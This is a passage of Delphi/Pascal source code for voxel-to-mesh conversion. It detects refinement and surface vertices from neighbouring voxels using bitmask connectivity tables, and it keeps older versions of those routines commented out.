_NeighbourVertexIDs[_xN,_yN,_zN] := _NumVertices;
inc(_NumVertices);
end
else
begin
_NeighbourVertexIDs[_xN,_yN,_zN] := _VertexMap[_x,_y,_z];
end;
end;
procedure CRefinementTrianglesSupporter.DetectPotentialRefinementVertexes(const _VoxelMap: TVoxelMap; var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x, _y, _z, _VUnit: integer; var _NumVertices: longword);
const
ConnectivityVertexConfigStart: array[0..26] of byte = (0,0,1,2,3,4,7,10,13,16,16,17,17,18,18,19,19,20,20,21,22,23,24,27,30,33,36);
ConnectivityVertexConfigData: array[0..35] of longword = (2049,32769,8193,513,32776,8196,16385,2056,8194,4097,32784,516,65537,2064,514,1025,2560,10240,40960,33280,133120,163840,139264,131584,1081344,532480,147456,1050624,270336,135168,2129920,524800,196608,2099200,262656,132096);
RegionBitNeighbours: array[0..25] of longword = (1,2049,32769,8193,513,57357,14347,98949,3603,512,2560,2048,10240,8192,40960,32768,33280,131072,133120,163840,139264,131584,1761280,1456128,2851328,2493952);
ConnectivityBitNeighbours: array[0..25] of longword = (30,2369,32929,8289,897,16396,4106,65556,1042,2163728,33557248,267266,8398912,1069064,4235296,606212,16810624,3932160,42076160,21135360,12722176,50463232,1589248,1314816,2686976,2360320);
var
Cube : TNormals;
i,j,maxi: integer;
xBase,yBase,zBase : integer;
CurrentNormal : TVector3f;
RegionBitConfig,ConnectivityConfig,current: longword;
begin
Cube := TNormals.Create(6);
maxi := Cube.GetLastID;
if (maxi > 0) then
begin
xBase := (_x-1) * _VUnit;
yBase := (_y-1) * _VUnit;
zBase := (_z-1) * _VUnit;
// 1) We will fill the region config first.
i := 0;
RegionBitConfig := 0;
current := 1;
while i <= maxi do
begin
CurrentNormal := Cube[i];
if _VoxelMap.MapSafe[_x + Round(CurrentNormal.X),_y + Round(CurrentNormal.Y),_z + Round(CurrentNormal.Z)] > 256 then
begin
RegionBitConfig := RegionBitConfig or current;
end;
inc(i);
current := current shl 1;
end;
// 2) Find the connectivity graph.
i := 0;
current := 1;
ConnectivityConfig := 0;
while i <= maxi do
begin
j := ConnectivityVertexConfigStart[i];
// if one of the next configurations match, the vertex i is in the config
while j < ConnectivityVertexConfigStart[i+1] do
begin
if (RegionBitConfig and ConnectivityVertexConfigData[j]) = ConnectivityVertexConfigData[j] then
begin
ConnectivityConfig := ConnectivityConfig or current;
j := ConnectivityVertexConfigStart[i+1]; // go to next i
end
else
begin
inc(j);
end;
end;
inc(i);
current := current shl 1;
end;
// 3) Find the final vertexes.
i := 0;
current := 1;
while i <= maxi do
begin
// If the vertex is in the connectivity graph, then we add it (even if
// it gets eliminated in the end of the technique.
if (ConnectivityConfig and current) = current then
begin
// Add vertex
CurrentNormal := Cube[i];
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + Round(CurrentNormal.X) + 1,yBase + Round(CurrentNormal.Y) + 1,zBase + Round(CurrentNormal.Z) + 1,Round(CurrentNormal.X) + 1,Round(CurrentNormal.Y) + 1,Round(CurrentNormal.Z) + 1,_NumVertices);
end
else // It's not in the connectivity graph.
begin
// If current is in the RegionBitConfig and one of the neighbours
// from the RegionBitNeighbours[i] is in RegionBitConfig then...
if ((RegionBitConfig and current) = current) and ((RegionBitConfig and RegionBitNeighbours[i]) <> 0) then
begin
// Add Vertex
CurrentNormal := Cube[i];
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + Round(CurrentNormal.X) + 1,yBase + Round(CurrentNormal.Y) + 1,zBase + Round(CurrentNormal.Z) + 1,Round(CurrentNormal.X) + 1,Round(CurrentNormal.Y) + 1,Round(CurrentNormal.Z) + 1,_NumVertices);
end
else // It's not in the connectivity graph from neighbour voxels.
begin
// Check if one of the neighbours of i in the ConnectivityConfig
// exists that it also adds a vertex
if (ConnectivityConfig and ConnectivityBitNeighbours[i]) <> 0 then
begin
// Add Vertex
CurrentNormal := Cube[i];
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + Round(CurrentNormal.X) + 1,yBase + Round(CurrentNormal.Y) + 1,zBase + Round(CurrentNormal.Z) + 1,Round(CurrentNormal.X) + 1,Round(CurrentNormal.Y) + 1,Round(CurrentNormal.Z) + 1,_NumVertices);
end;
end;
end;
inc(i);
current := current shl 1;
end;
end;
Cube.Free;
end;
{
procedure CRefinementTrianglesSupporter.DetectPotentialRefinementVertexesOld(const _VoxelMap: TVoxelMap; var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x, _y, _z, _VUnit: integer; var _NumVertices: longword);
const
VertexSet: array[1..26,0..2] of byte = ((0,0,0),(0,0,1),(0,0,2),(0,1,0),(0,1,1),(0,1,2),(0,2,0),(0,2,1),(0,2,2),(1,0,0),(1,0,1),(1,0,2),(2,0,0),(2,0,1),(2,0,2),(1,1,2),(2,1,2),(1,2,2),(2,2,2),(1,2,0),(1,2,1),(2,2,0),(2,2,1),(1,1,0),(2,1,0),(2,1,1));
VertexConfigStart: array[0..26] of byte = (0,9,12,15,18,21,22,23,24,25,34,37,46,49,58,61,70,73,82,85,88,91,94,95,96,97,98);
VertexConfigData: array[0..97] of byte = (1,2,3,4,5,6,7,8,9,3,6,9,1,4,7,7,8,9,1,2,3,7,9,1,3,1,2,3,10,11,12,13,14,15,3,12,15,3,12,15,6,16,17,9,18,19,9,18,19,7,8,9,20,21,18,22,23,19,7,20,22,1,10,13,4,24,25,7,20,22,1,10,13,13,14,15,25,26,17,22,23,19,15,17,19,13,25,22,22,23,19,13,14,15,22,19,13,15);
MidVerts: array[0..71,0..2] of byte = ((1,2,0),(1,2,2),(1,0,2),(1,0,0),(1,2,1),(1,1,2),(1,0,1),(1,1,0),(0,1,0),(0,1,2),(2,1,2),(2,1,0),(0,1,1),(1,1,2),(2,1,1),(1,1,0),(2,2,1),(0,2,1),(0,0,1),(2,0,1),(1,2,1),(0,1,1),(1,0,1),(2,1,1),(2,2,2),(0,2,0),(0,0,0),(2,0,2),(1,2,1),(0,1,0),(1,0,1),(2,1,2),(2,2,0),(0,2,2),(0,0,2),(2,0,0),(1,2,1),(0,1,2),(1,0,1),(2,1,0),(2,2,0),(0,0,0),(0,0,2),(2,2,2),(1,1,0),(0,0,1),(1,1,2),(2,2,1),(2,0,0),(0,2,0),(0,2,2),(2,0,2),(1,1,0),(0,2,1),(1,1,2),(2,0,1),(2,2,0),(0,2,0),(0,0,2),(2,0,2),(1,2,0),(0,1,1),(1,0,2),(2,1,1),(2,0,0),(0,0,0),(0,2,2),(2,2,2),(1,0,0),(0,1,1),(1,2,2),(2,1,1));
var
Cube : TNormals;
i,j,k,maxi: integer;
xBase,yBase,zBase : integer;
CurrentNormal : TVector3f;
VertexConfig: longword;
begin
Cube := TNormals.Create(6);
maxi := Cube.GetLastID;
if (maxi > 0) then
begin
// We will fill the potential vertexes with the value they deserve.
i := 0;
VertexConfig := 0;
xBase := (_x-1) * _VUnit;
yBase := (_y-1) * _VUnit;
zBase := (_z-1) * _VUnit;
while i <= maxi do
begin
CurrentNormal := Cube[i];
if _VoxelMap.MapSafe[_x + Round(CurrentNormal.X),_y + Round(CurrentNormal.Y),_z + Round(CurrentNormal.Z)] > 256 then
begin
j := VertexConfigStart[i];
while j < VertexConfigStart[i+1] do
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + VertexSet[VertexConfigData[j],0],yBase + VertexSet[VertexConfigData[j],1],zBase + VertexSet[VertexConfigData[j],2],VertexSet[VertexConfigData[j],0],VertexSet[VertexConfigData[j],1],VertexSet[VertexConfigData[j],2],_NumVertices);
VertexConfig := VertexConfig + (1 shl VertexConfigData[j]);
inc(j);
end;
end;
inc(i);
end;
// update faces checking if the center vertex is used or not.
// Order: NE, NW, SW, SE, N, W, S, E, Self -> pointing to the center of
// the 3x3x3 region
// Left
if HasMidFaceVertex(_NeighbourVertexIDs[0,2,2],_NeighbourVertexIDs[0,2,0],_NeighbourVertexIDs[0,0,0],_NeighbourVertexIDs[0,0,2],_NeighbourVertexIDs[0,2,1],_NeighbourVertexIDs[0,1,0],_NeighbourVertexIDs[0,0,1],_NeighbourVertexIDs[0,1,2],_NeighbourVertexIDs[0,1,1]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase,yBase + 1,zBase + 1,0,1,1,_NumVertices);
end;
// Right
if HasMidFaceVertex(_NeighbourVertexIDs[2,2,0],_NeighbourVertexIDs[2,2,2],_NeighbourVertexIDs[2,0,2],_NeighbourVertexIDs[2,0,0],_NeighbourVertexIDs[2,2,1],_NeighbourVertexIDs[2,1,2],_NeighbourVertexIDs[2,0,1],_NeighbourVertexIDs[2,1,0],_NeighbourVertexIDs[2,1,1]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 2,yBase + 1,zBase + 1,2,1,1,_NumVertices);
end;
// Bottom
if HasMidFaceVertex(_NeighbourVertexIDs[2,0,2],_NeighbourVertexIDs[0,0,2],_NeighbourVertexIDs[0,0,0],_NeighbourVertexIDs[2,0,0],_NeighbourVertexIDs[1,0,2],_NeighbourVertexIDs[0,0,1],_NeighbourVertexIDs[1,0,0],_NeighbourVertexIDs[2,0,1],_NeighbourVertexIDs[1,0,1]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase,zBase + 1,1,0,1,_NumVertices);
end;
// Top
if HasMidFaceVertex(_NeighbourVertexIDs[2,2,0],_NeighbourVertexIDs[0,2,0],_NeighbourVertexIDs[0,2,2],_NeighbourVertexIDs[2,2,2],_NeighbourVertexIDs[1,2,0],_NeighbourVertexIDs[0,2,1],_NeighbourVertexIDs[1,2,2],_NeighbourVertexIDs[2,2,1],_NeighbourVertexIDs[1,2,1]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 2,zBase + 1,1,2,1,_NumVertices);
end;
// Back
if HasMidFaceVertex(_NeighbourVertexIDs[0,2,0],_NeighbourVertexIDs[2,2,0],_NeighbourVertexIDs[2,0,0],_NeighbourVertexIDs[0,0,0],_NeighbourVertexIDs[1,2,0],_NeighbourVertexIDs[2,1,0],_NeighbourVertexIDs[1,0,0],_NeighbourVertexIDs[0,1,0],_NeighbourVertexIDs[1,1,0]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase,1,1,0,_NumVertices);
end;
// Front
if HasMidFaceVertex(_NeighbourVertexIDs[2,2,2],_NeighbourVertexIDs[0,2,2],_NeighbourVertexIDs[0,0,2],_NeighbourVertexIDs[2,0,2],_NeighbourVertexIDs[1,2,2],_NeighbourVertexIDs[0,1,2],_NeighbourVertexIDs[1,0,2],_NeighbourVertexIDs[2,1,2],_NeighbourVertexIDs[1,1,2]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase + 2,1,1,2,_NumVertices);
end;
// update the center region check if it is used or not.
// AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase + 1,1,1,1,_NumVertices);
if _VoxelMap.MapSafe[_x,_y,_z] > 254 then
begin
i := 0;
while i < High(MidVerts) do
begin
if HasMidFaceVertex(_NeighbourVertexIDs[MidVerts[i,0],MidVerts[i,1],MidVerts[i,2]],_NeighbourVertexIDs[MidVerts[i+1,0],MidVerts[i+1,1],MidVerts[i+1,2]],_NeighbourVertexIDs[MidVerts[i+2,0],MidVerts[i+2,1],MidVerts[i+2,2]],_NeighbourVertexIDs[MidVerts[i+3,0],MidVerts[i+3,1],MidVerts[i+3,2]],_NeighbourVertexIDs[MidVerts[i+4,0],MidVerts[i+4,1],MidVerts[i+4,2]],_NeighbourVertexIDs[MidVerts[i+5,0],MidVerts[i+5,1],MidVerts[i+5,2]],_NeighbourVertexIDs[MidVerts[i+6,0],MidVerts[i+6,1],MidVerts[i+6,2]],_NeighbourVertexIDs[MidVerts[i+7,0],MidVerts[i+7,1],MidVerts[i+7,2]],_NeighbourVertexIDs[1,1,1]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase + 1,1,1,1,_NumVertices);
i := High(MidVerts);
end;
inc(i,8);
end;
end
else
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase + 1,1,1,1,_NumVertices);
end;
end;
Cube.Free;
end;
}
procedure CRefinementTrianglesSupporter.DetectPotentialSurfaceVertexes(const _VoxelMap: TVoxelMap; var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x, _y, _z, _VUnit: integer; var _NumVertices: longword);
const
ConnectivityVertexConfigStart: array[0..26] of byte = (0,0,1,2,3,4,7,10,13,16,16,17,17,18,18,19,19,20,20,21,22,23,24,27,30,33,36);
ConnectivityVertexConfigData: array[0..35] of longword = (2049,32769,8193,513,32776,8196,16385,2056,8194,4097,32784,516,65537,2064,514,1025,2560,10240,40960,33280,133120,163840,139264,131584,1081344,532480,147456,1050624,270336,135168,2129920,524800,196608,2099200,262656,132096);
RegionBitNeighbours: array[0..25] of longword = (1,2049,32769,8193,513,57357,14347,98949,3603,512,2560,2048,10240,8192,40960,32768,33280,131072,133120,163840,139264,131584,1761280,1456128,2851328,2493952);
ConnectivityBitNeighbours: array[0..25] of longword = (30,2369,32929,8289,897,16396,4106,65556,1042,2163728,33557248,267266,8398912,1069064,4235296,606212,16810624,3932160,42076160,21135360,12722176,50463232,1589248,1314816,2686976,2360320);
var
Cube : TNormals;
i,j,maxi: integer;
xBase,yBase,zBase : integer;
CurrentNormal : TVector3f;
RegionBitConfig,ConnectivityConfig,current: longword;
begin
Cube := TNormals.Create(6);
maxi := Cube.GetLastID;
xBase := (_x-1) * _VUnit;
yBase := (_y-1) * _VUnit;
zBase := (_z-1) * _VUnit;
// 1) We will fill the region config first.
i := 0;
current := 1;
RegionBitConfig := 0;
while i <= maxi do
begin
CurrentNormal := Cube[i];
if _VoxelMap.MapSafe[_x + Round(CurrentNormal.X),_y + Round(CurrentNormal.Y),_z + Round(CurrentNormal.Z)] > 256 then
begin
RegionBitConfig := RegionBitConfig or current;
end;
inc(i);
current := current shl 1;
end;
// 2) Find the connectivity graph.
i := 0;
ConnectivityConfig := 0;
current := 1;
while i <= maxi do
begin
if (RegionBitConfig and current) = 0 then
begin
// if one of the next configurations match, the vertex i is in the config
j := ConnectivityVertexConfigStart[i];
while j < ConnectivityVertexConfigStart[i+1] do
begin
if (RegionBitConfig and ConnectivityVertexConfigData[j]) = ConnectivityVertexConfigData[j] then
begin
ConnectivityConfig := ConnectivityConfig or current;
j := ConnectivityVertexConfigStart[i+1]; // go to next i
end
else
begin
inc(j);
end;
end;
end
else
begin
ConnectivityConfig := ConnectivityConfig or current;
end;
inc(i);
current := current shl 1;
end;
// 3) Find the final vertexes.
i := 0;
current := 1;
while i <= maxi do
begin
// If the vertex is in the connectivity graph, then we add it (even if
// it gets eliminated in the end of the technique.
if (ConnectivityConfig and current) = current then
begin
// Add vertex
CurrentNormal := Cube[i];
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + Round(CurrentNormal.X) + 1,yBase + Round(CurrentNormal.Y) + 1,zBase + Round(CurrentNormal.Z) + 1,Round(CurrentNormal.X) + 1,Round(CurrentNormal.Y) + 1,Round(CurrentNormal.Z) + 1,_NumVertices);
end
else // It's not in the connectivity graph.
begin
// If current is in the RegionBitConfig and one of the neighbours
// from the RegionBitNeighbours[i] is in RegionBitConfig then...
if ((RegionBitConfig and current) = current) and ((RegionBitConfig and RegionBitNeighbours[i]) <> 0) then
begin
// Add Vertex
CurrentNormal := Cube[i];
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + Round(CurrentNormal.X) + 1,yBase + Round(CurrentNormal.Y) + 1,zBase + Round(CurrentNormal.Z) + 1,Round(CurrentNormal.X) + 1,Round(CurrentNormal.Y) + 1,Round(CurrentNormal.Z) + 1,_NumVertices);
end
else // It's not in the connectivity graph from neighbour voxels.
begin
// Check if one of the neighbours of i in the ConnectivityConfig
// exists that it also adds a vertex
if (ConnectivityConfig and ConnectivityBitNeighbours[i]) <> 0 then
begin
// Add Vertex
CurrentNormal := Cube[i];
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + Round(CurrentNormal.X) + 1,yBase + Round(CurrentNormal.Y) + 1,zBase + Round(CurrentNormal.Z) + 1,Round(CurrentNormal.X) + 1,Round(CurrentNormal.Y) + 1,Round(CurrentNormal.Z) + 1,_NumVertices);
end;
end;
end;
inc(i);
current := current shl 1;
end;
Cube.Free;
// Add the fixed vertexes
// center
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase + 1,1,1,1,_NumVertices);
// Mid-edges
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 0,yBase + 1,zBase + 1,0,1,1,_NumVertices);
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 2,yBase + 1,zBase + 1,2,1,1,_NumVertices);
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 0,zBase + 1,1,0,1,_NumVertices);
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 2,zBase + 1,1,2,1,_NumVertices);
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase + 0,1,1,0,_NumVertices);
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase + 2,1,1,2,_NumVertices);
end;
{
procedure CRefinementTrianglesSupporter.DetectPotentialSurfaceVertexesOld(const _VoxelMap: TVoxelMap; var _VertexMap : T3DVolumeGreyIntData; var _NeighbourVertexIDs:T3DIntGrid; _x, _y, _z, _VUnit: integer; var _NumVertices: longword);
const
VertexSet: array[1..26,0..2] of byte = ((0,0,0),(0,0,1),(0,0,2),(0,1,0),(0,1,1),(0,1,2),(0,2,0),(0,2,1),(0,2,2),(1,0,0),(1,0,1),(1,0,2),(2,0,0),(2,0,1),(2,0,2),(1,1,2),(2,1,2),(1,2,2),(2,2,2),(1,2,0),(1,2,1),(2,2,0),(2,2,1),(1,1,0),(2,1,0),(2,1,1));
VertexConfigStart: array[0..26] of byte = (0,9,12,15,18,21,22,23,24,25,34,37,46,49,58,61,70,73,82,85,88,91,94,95,96,97,98);
VertexConfigData: array[0..97] of byte = (1,2,3,4,5,6,7,8,9,3,6,9,1,4,7,7,8,9,1,2,3,7,9,1,3,1,2,3,10,11,12,13,14,15,3,12,15,3,12,15,6,16,17,9,18,19,9,18,19,7,8,9,20,21,18,22,23,19,7,20,22,1,10,13,4,24,25,7,20,22,1,10,13,13,14,15,25,26,17,22,23,19,15,17,19,13,25,22,22,23,19,13,14,15,22,19,13,15);
MidVerts: array[0..71,0..2] of byte = ((1,2,0),(1,2,2),(1,0,2),(1,0,0),(1,2,1),(1,1,2),(1,0,1),(1,1,0),(0,1,0),(0,1,2),(2,1,2),(2,1,0),(0,1,1),(1,1,2),(2,1,1),(1,1,0),(2,2,1),(0,2,1),(0,0,1),(2,0,1),(1,2,1),(0,1,1),(1,0,1),(2,1,1),(2,2,2),(0,2,0),(0,0,0),(2,0,2),(1,2,1),(0,1,0),(1,0,1),(2,1,2),(2,2,0),(0,2,2),(0,0,2),(2,0,0),(1,2,1),(0,1,2),(1,0,1),(2,1,0),(2,2,0),(0,0,0),(0,0,2),(2,2,2),(1,1,0),(0,0,1),(1,1,2),(2,2,1),(2,0,0),(0,2,0),(0,2,2),(2,0,2),(1,1,0),(0,2,1),(1,1,2),(2,0,1),(2,2,0),(0,2,0),(0,0,2),(2,0,2),(1,2,0),(0,1,1),(1,0,2),(2,1,1),(2,0,0),(0,0,0),(0,2,2),(2,2,2),(1,0,0),(0,1,1),(1,2,2),(2,1,1));
var
Cube : TNormals;
i,j,k,maxi,counter: integer;
xBase,yBase,zBase : integer;
CurrentNormal : TVector3f;
begin
Cube := TNormals.Create(6);
maxi := Cube.GetLastID;
if (maxi > 0) then
begin
// We will fill the potential vertexes with the value they deserve.
i := 0;
counter := 0;
xBase := (_x-1) * _VUnit;
yBase := (_y-1) * _VUnit;
zBase := (_z-1) * _VUnit;
while i <= maxi do
begin
CurrentNormal := Cube[i];
if _VoxelMap.MapSafe[_x + Round(CurrentNormal.X),_y + Round(CurrentNormal.Y),_z + Round(CurrentNormal.Z)] > 0 then
begin
j := VertexConfigStart[i];
while j < VertexConfigStart[i+1] do
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + VertexSet[VertexConfigData[j],0],yBase + VertexSet[VertexConfigData[j],1],zBase + VertexSet[VertexConfigData[j],2],VertexSet[VertexConfigData[j],0],VertexSet[VertexConfigData[j],1],VertexSet[VertexConfigData[j],2],_NumVertices);
inc(j);
end;
inc(counter);
end;
inc(i);
end;
if counter <> 0 then
begin
// Update 12 border edges.
if (_NeighbourVertexIDs[0,0,0] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[0,0,2] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase,yBase,zBase + 1,0,0,1,_NumVertices);
end;
if (_NeighbourVertexIDs[2,0,0] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[2,0,2] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 2,yBase,zBase + 1,2,0,1,_NumVertices);
end;
if (_NeighbourVertexIDs[0,0,0] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[0,2,0] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase,yBase + 1,zBase,0,1,0,_NumVertices);
end;
if (_NeighbourVertexIDs[2,0,0] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[2,2,0] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 2,yBase + 1,zBase,2,1,0,_NumVertices);
end;
if (_NeighbourVertexIDs[0,0,2] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[0,2,2] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase,yBase + 1,zBase + 2,0,1,2,_NumVertices);
end;
if (_NeighbourVertexIDs[2,0,2] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[2,2,2] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 2,yBase + 1,zBase + 2,2,1,2,_NumVertices);
end;
if (_NeighbourVertexIDs[0,2,0] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[0,2,2] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase,yBase + 2,zBase + 1,0,2,1,_NumVertices);
end;
if (_NeighbourVertexIDs[2,2,0] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[2,2,2] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 2,yBase + 2,zBase + 1,2,2,1,_NumVertices);
end;
if (_NeighbourVertexIDs[0,0,0] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[2,0,0] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase,zBase,1,0,0,_NumVertices);
end;
if (_NeighbourVertexIDs[0,0,2] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[2,0,2] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase,zBase + 2,1,0,2,_NumVertices);
end;
if (_NeighbourVertexIDs[0,2,0] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[2,2,0] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 2,zBase,1,2,0,_NumVertices);
end;
if (_NeighbourVertexIDs[0,2,2] <> C_VMG_NO_VERTEX) and (_NeighbourVertexIDs[2,2,2] <> C_VMG_NO_VERTEX) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 2,zBase + 2,1,2,2,_NumVertices);
end;
// update faces checking if the center vertex is used or not.
// Order: NE, NW, SW, SE, N, W, S, E, Self -> pointing to the center of
// the 3x3x3 region
// Left
if HasMidFaceVertexOnSurface(_NeighbourVertexIDs[0,2,2],_NeighbourVertexIDs[0,2,0],_NeighbourVertexIDs[0,0,0],_NeighbourVertexIDs[0,0,2],_NeighbourVertexIDs[0,2,1],_NeighbourVertexIDs[0,1,0],_NeighbourVertexIDs[0,0,1],_NeighbourVertexIDs[0,1,2],_NeighbourVertexIDs[0,1,1]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase,yBase + 1,zBase + 1,0,1,1,_NumVertices);
end;
// Right
if HasMidFaceVertexOnSurface(_NeighbourVertexIDs[2,2,0],_NeighbourVertexIDs[2,2,2],_NeighbourVertexIDs[2,0,2],_NeighbourVertexIDs[2,0,0],_NeighbourVertexIDs[2,2,1],_NeighbourVertexIDs[2,1,2],_NeighbourVertexIDs[2,0,1],_NeighbourVertexIDs[2,1,0],_NeighbourVertexIDs[2,1,1]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 2,yBase + 1,zBase + 1,2,1,1,_NumVertices);
end;
// Bottom
if HasMidFaceVertexOnSurface(_NeighbourVertexIDs[2,0,2],_NeighbourVertexIDs[0,0,2],_NeighbourVertexIDs[0,0,0],_NeighbourVertexIDs[2,0,0],_NeighbourVertexIDs[1,0,2],_NeighbourVertexIDs[0,0,1],_NeighbourVertexIDs[1,0,0],_NeighbourVertexIDs[2,0,1],_NeighbourVertexIDs[1,0,1]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase,zBase + 1,1,0,1,_NumVertices);
end;
// Top
if HasMidFaceVertexOnSurface(_NeighbourVertexIDs[2,2,0],_NeighbourVertexIDs[0,2,0],_NeighbourVertexIDs[0,2,2],_NeighbourVertexIDs[2,2,2],_NeighbourVertexIDs[1,2,0],_NeighbourVertexIDs[0,2,1],_NeighbourVertexIDs[1,2,2],_NeighbourVertexIDs[2,2,1],_NeighbourVertexIDs[1,2,1]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 2,zBase + 1,1,2,1,_NumVertices);
end;
// Back
if HasMidFaceVertexOnSurface(_NeighbourVertexIDs[0,2,0],_NeighbourVertexIDs[2,2,0],_NeighbourVertexIDs[2,0,0],_NeighbourVertexIDs[0,0,0],_NeighbourVertexIDs[1,2,0],_NeighbourVertexIDs[2,1,0],_NeighbourVertexIDs[1,0,0],_NeighbourVertexIDs[0,1,0],_NeighbourVertexIDs[1,1,0]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase,1,1,0,_NumVertices);
end;
// Front
if HasMidFaceVertexOnSurface(_NeighbourVertexIDs[2,2,2],_NeighbourVertexIDs[0,2,2],_NeighbourVertexIDs[0,0,2],_NeighbourVertexIDs[2,0,2],_NeighbourVertexIDs[1,2,2],_NeighbourVertexIDs[0,1,2],_NeighbourVertexIDs[1,0,2],_NeighbourVertexIDs[2,1,2],_NeighbourVertexIDs[1,1,2]) then
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase + 2,1,1,2,_NumVertices);
end;
// update the center region check if it is used or not.
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + 1,yBase + 1,zBase + 1,1,1,1,_NumVertices);
end
else // Lone voxel situation. Fill every Vertex.
begin
for i := 0 to 2 do
for j := 0 to 2 do
for k := 0 to 2 do
begin
AddVertex(_VertexMap,_NeighbourVertexIDs,xBase + i,yBase + j,zBase + k,i,j,k,_NumVertices);
end;
end;
end;
Cube.Free;
end;
}
procedure CRefinementTrianglesSupporter.AddRefinementFacesFromRegions(const _Voxel : TVoxelSection; const _Palette: TPalette; var _NeighbourVertexIDs: T3DIntGrid; var _TriangleList: CTriangleList; var _QuadList: CQuadList; var _FaceVerifier: CVolumeFaceVerifier; _x, _y, _z, _AllowedFaces, _VUnit: integer);
const
FaceColorConfig: array[0..7] of byte = (7,8,5,6,24,25,22,23);
var
xVM,yVM,zVM: integer;
begin
xVM := _x * _VUnit;
yVM := _y * _VUnit;
zVM := _z * _VUnit;
// We'll now add the refinement zones, subdividing the original region in
// 8, like an octree.
// (0,0,0) -> (1,1,1), left bottom back side
{$ifdef MESH_TEST}
GlobalVars.MeshFile.Add('Region: Left bottom back, Allowed Faces: ' + IntToStr(_AllowedFaces) + ' and the vertexes are: (' + IntToStr(_NeighbourVertexIDs[0,0,0]) + ',' + IntToStr(_NeighbourVertexIDs[0,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[0,1,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,0,1]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,0]) + ',' + IntToStr(_NeighbourVertexIDs[1,1,1]) + ')');
{$endif}
AddRefinementFaces(_NeighbourVertexIDs[0,0,0],_NeighbourVertexIDs[0,0,1],_NeighbourVertexIDs[0,1,0],_NeighbourVertexIDs[0,1,1],_NeighbourVertexIDs[1,0,0],_NeighbourVertexIDs[1,0,1],_NeighbourVertexIDs[1,1,0], _NeighbourVertexIDs[1,1,1],_AllowedFaces,xVM,yVM,zVM,_TriangleList,_QuadList,_FaceVerifier,GetColourRefinement(_Voxel,_Palette,_x,_y,_z,FaceColorConfig[0]));
// (0,0,1) -> (1,1,2), left bottom front side
{$ifdef MESH_TEST}
